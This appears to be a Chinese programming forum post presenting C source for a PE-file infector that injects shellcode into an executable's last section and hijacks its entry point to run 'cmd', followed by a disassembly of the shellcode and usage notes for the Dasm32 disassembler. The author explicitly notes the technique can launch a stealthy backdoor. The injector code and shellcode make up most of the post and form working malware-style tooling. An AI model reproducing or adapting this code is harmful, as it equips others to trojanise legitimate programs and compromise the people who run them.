64,649
社区成员
发帖
与我相关
我的任务
分享
/***********************************************************************************************
This is an example how easy it is to manipulate the execution flow of an Pe-file (.exe)
This little tool will patch a given file, to run the command 'cmd'.
This example is not really usefull but as you can imagine that it is also posible to start a backdoor
very stealth with this technic.
How it works:
1. it will search for the last section of the exe
2. then it will search in the last section where are 69 NULL-bytes to paste your execution code
3. then it start to search for the position in the exe where the first 5 bytes of the code are.
4. save the bytes which will be overwritten (how much it will be you can define with the offset)
5. it will overwrite the bytes with a jump (E9) to the execution-code
6. generate the execution code thst it will look like this
NOP + static code + WinExec address + saved bytes + back jump address
7. paste the exeution code at the postion of 2.
End
***********************************************************************************************/
#include "head.h"
//#define offset 5
void main(int argc,char *argv[])
{
int w=0;
int pos;
int offset;
if(argc<2)
{
printf("\nYOU NEED TO RENAME a exe file(for example explorer.exe) into TEST.EXE\n");
printf("and then put it in the SAME folder as the pefile.exe is!!!!\n\n");
printf("This tool will execute the command 'cmd.exe'\n");
printf("Please use it like this: %s OFFSET\n",argv[0]);
printf("For the explorer.exe please take for offset 6\n");
printf("For the mirc.exe or calc.exe please take for offset 5\n");
exit(1);
}
else
offset = atoi(argv[1]);
char find[69];
char code[]="\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90"
"\x55\x8B\xEC\x51"
"\xC7\x45\xFC\x63"
"\x6D\x64\x00\x6A"
"\x05\x8D\x45\xFC"
"\x50\xB8"
"\xcc\xcc\xcc\xcc"//WinExec
"\xFF\xD0"
"\x8B\xE5\x5D";
char *save=new char [offset];
char back[]="\xB8"
"\xbb\xbb\xbb\xbb"//JUMP BACK address entrypoint+5
"\xFF\xE0";
char *endcode=NULL;
char jump[]="\xE9\xaa\xaa\xaa\xaa";//JUMP in code
// char name[]="C:\\Downloads\\hookexe\\exe\\Debug\\exe.exe";
char name[]="C:\\Downloads\\PEfile\\Pefile_infector\\Debug\\calc.exe";
memset(find,0,69);
// we open the file with Read/Write access
HANDLE file = CreateFile(name,GENERIC_WRITE | GENERIC_READ,0,NULL,OPEN_EXISTING,
FILE_ATTRIBUTE_ARCHIVE,NULL);
// we map the file into memory
HANDLE file2 = CreateFileMapping (file, NULL, PAGE_READWRITE, 0, 0, NULL);
LPBYTE MapFile = (LPBYTE)MapViewOfFile(file2,FILE_MAP_ALL_ACCESS,0,0,0);
section * sec;
IMAGE_DOS_HEADER dosHead = *(IMAGE_DOS_HEADER *)MapFile;
IMAGE_FILE_HEADER *PE = (IMAGE_FILE_HEADER *)(MapFile+dosHead.e_lfanew+4);
IMAGE_OPTIONAL_HEADER *PEoption = (IMAGE_OPTIONAL_HEADER *)((BYTE *)PE+sizeof(IMAGE_FILE_HEADER));
HMODULE hdl;
//find the right plase for the struct
pos = check_data(".text",5,1000,(char *)MapFile,1);
pos -= 4;
sec =(SECTION*) (MapFile+pos);
DWORD EP=PEoption->AddressOfEntryPoint;
DWORD DE=EP+(sec->PointerToRawData)-(sec->VirtualAddress);
printf("ENTRYPOINT: %x\n",EP);
printf("FILEENTRYPOINT: %x\n",DE);
//Get the number of section
int secNumber=PE->NumberOfSections;
printf("secNumber %i\n", secNumber);
//Get the last section
DWORD *section=new DWORD[secNumber];
for (int i=0;i<secNumber;i++)
{
sec =(SECTION*) (MapFile+pos)+i;
section[i]=sec->PointerToRawData;
printf("Section %i starts at %x\n",i,section[i]);
}
//get the last section
sec =(SECTION*) (MapFile+pos)+mAx(section,secNumber);
printf("The Last Section is at posision %i(it starts from 0!!!)\n",mAx(section,secNumber));
printf("the last Section is %x big\n",sec->SizeOfRawData);
DWORD codePos =0;
//sec->SizeOfRawData += 0x70;
//save the overwriten bytes in the code chars
for(i=0;i<offset;i++)
save[i]=MapFile[DE+i];
//calculate the Backjump
DWORD Bjump = EP+(PEoption->ImageBase)+0x5;
for (i = 0; i < sizeof(u_long); i++)
back[1+i] = (char)((u_long)Bjump >> (i * 8) & 255);
//get WinExec Address
hdl = LoadLibrary("kernel32.dll");
DWORD WE = (unsigned long)GetProcAddress(hdl,"WinExec");
printf("WinExec is at %x \n",WE);
//paste the WinExec address in the code
for (i = 0; i < sizeof(u_long); i++)
code[48+i] = (char)((u_long)WE >> (i * 8) & 255);
//find the right place to paste the EGG
codePos = check_data(find,69,GetFileSize(file,NULL),(char *)MapFile,sec->PointerToRawData);
codePos -= 65;
printf("Write code at %x \n",codePos);
endcode =(char*) malloc (65+offset);
for(i =0; i<57;i++)
{
endcode[i]=code[i];
}
for(i =0; i<offset;i++)
{
endcode[57+i]=save[i];
}
for(i =0; i<8;i++)
{
endcode[57+i+offset]=back[i];
}
//paste the EGG
for(i =0; i<65+offset;i++)
{
MapFile[codePos+i]=endcode[i];
}
//calculate the jump to the EGG
DWORD j =codePos-(sec->PointerToRawData)+(sec->VirtualAddress)-EP;
printf("JUMP OFFSET %x \n",codePos-(sec->PointerToRawData)+(sec->VirtualAddress)-EP);
for (i = 0; i < sizeof(u_long); i++)
jump[1+i] = (char)((u_long)j >> (i * 8) & 255);
//paste the jump OP and offset over the orginal entry point
for(i =0; i<5;i++)
{
MapFile[DE+i]=jump[i];
}
for(i =0; i<offset-5;i++)
{
MapFile[DE+i+5]='\x90';
}
FlushViewOfFile(MapFile,0);
UnmapViewOfFile(MapFile);
CloseHandle(file2);
SetFilePointer(file,GetFileSize(file,NULL),NULL,FILE_BEGIN); // now the size is multiple of 103
printf("PATCHED!!!!!\n");
printf("\nThe file test.exe should now run normally but it will execute the command 'cmd'\n");
SetEndOfFile(file);
}
int main(int argc, char* argv[])
{
char code[]="\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90"
"\x55\x8B\xEC\x51"
"\xC7\x45\xFC\x63"
"\x6D\x64\x00\x6A"
"\x05\x8D\x45\xFC"
"\x50\xB8"
"\xcc\xcc\xcc\xcc"//WinExec
"\xFF\xD0"
"\x8B\xE5\x5D";
FILE *fp_out;
fp_out=fopen("c:\\dd.txt","w");
fwrite(code,sizeof(code),1,fp_out);
fclose(fp_out);
}
使用以上代码将文本文件转化为二进制文件之后,使用Dasm32.exe 'dd.txt'即可
C:\Documents and Settings\zhong\桌面\Dasm32>Dasm32.exe 'dd.txt'
Disassembler for 32-bit instructions.
Version 0.1 (C) Copyright 2003.6.20, by Luo Cong.
Support: 80x86, FPU, MMX, SSE, SSE2, 3DNow! instructions.
Filename: dd.txt
00000000: 90 NOP
00000001: 90 NOP
00000002: 90 NOP
00000003: 90 NOP
00000004: 90 NOP
00000005: 90 NOP
00000006: 90 NOP
00000007: 90 NOP
00000008: 90 NOP
00000009: 90 NOP
0000000A: 90 NOP
0000000B: 90 NOP
0000000C: 90 NOP
0000000D: 90 NOP
0000000E: 90 NOP
0000000F: 90 NOP
00000010: 90 NOP
00000011: 90 NOP
00000012: 90 NOP
00000013: 90 NOP
00000014: 90 NOP
00000015: 90 NOP
00000016: 90 NOP
00000017: 90 NOP
00000018: 90 NOP
00000019: 90 NOP
0000001A: 90 NOP
0000001B: 90 NOP
0000001C: 90 NOP
0000001D: 90 NOP
0000001E: 55 PUSH EBP
0000001F: 8BEC MOV EBP, ESP
00000021: 51 PUSH ECX
00000022: C745FC636D6400 MOV DWORD PTR [EBP-04], 00646D63
00000029: 6A05 PUSH 05
0000002B: 8D45FC LEA EAX, [EBP-04]
0000002E: 50 PUSH EAX
0000002F: B8CCCCCCCC MOV EAX, CCCCCCCC
00000034: FFD0 CALL EAX
00000036: 8BE5 MOV ESP, EBP
00000038: 5D POP EBP
00000039: 0000 ADD [EAX], AL
C:\Documents and Settings\zhong\桌面\Dasm32>Dasm32.exe 90909090
90 NOP
注意:文件名的左右必须用“'”包围起来,否则是无效的。
这个反汇编引擎可以支持 80x86, FPU, MMX, SSE, SSE2, 3DNow! 的指令。它默认是对 32 位的指令进行反汇编,如果发现用它来得到的反汇编指令与 hiew 等得到的指令不一样,那很可能就是因为 16 位和 32 位的区别。
Syntax: Dasm32 [OpCodes] ['filename'] [-h] [-l]
OpCodes Example: Dasm32 B000
'filename' Example: Dasm32 'test.exe'
-h Display this help information.
-l Output lowercase instructions.
其中,-h表示输出帮助信息,-l表示输出结果用小写字母显示(默认是用大写字母)。该引擎的使用方法有两种:
(1)直接输出一串机器码的反汇编指令。例如:
输入:
Dasm32 B000
输出:
B0 00 MOV AL, 00
输入:
Dasm32 B000 -l
输出:
B0 00 mov al, 00
注意:机器码的位数必须是偶数的,例如 B000 就是偶数的,你不能贪图方便把它写成 B00 ,因为反汇编引擎无法正确识别这个机器码到底是 B000 还是 0B00 。
(2)对某一个文件进行反汇编。例如:
输入:
Dasm32 'test.exe'
输出: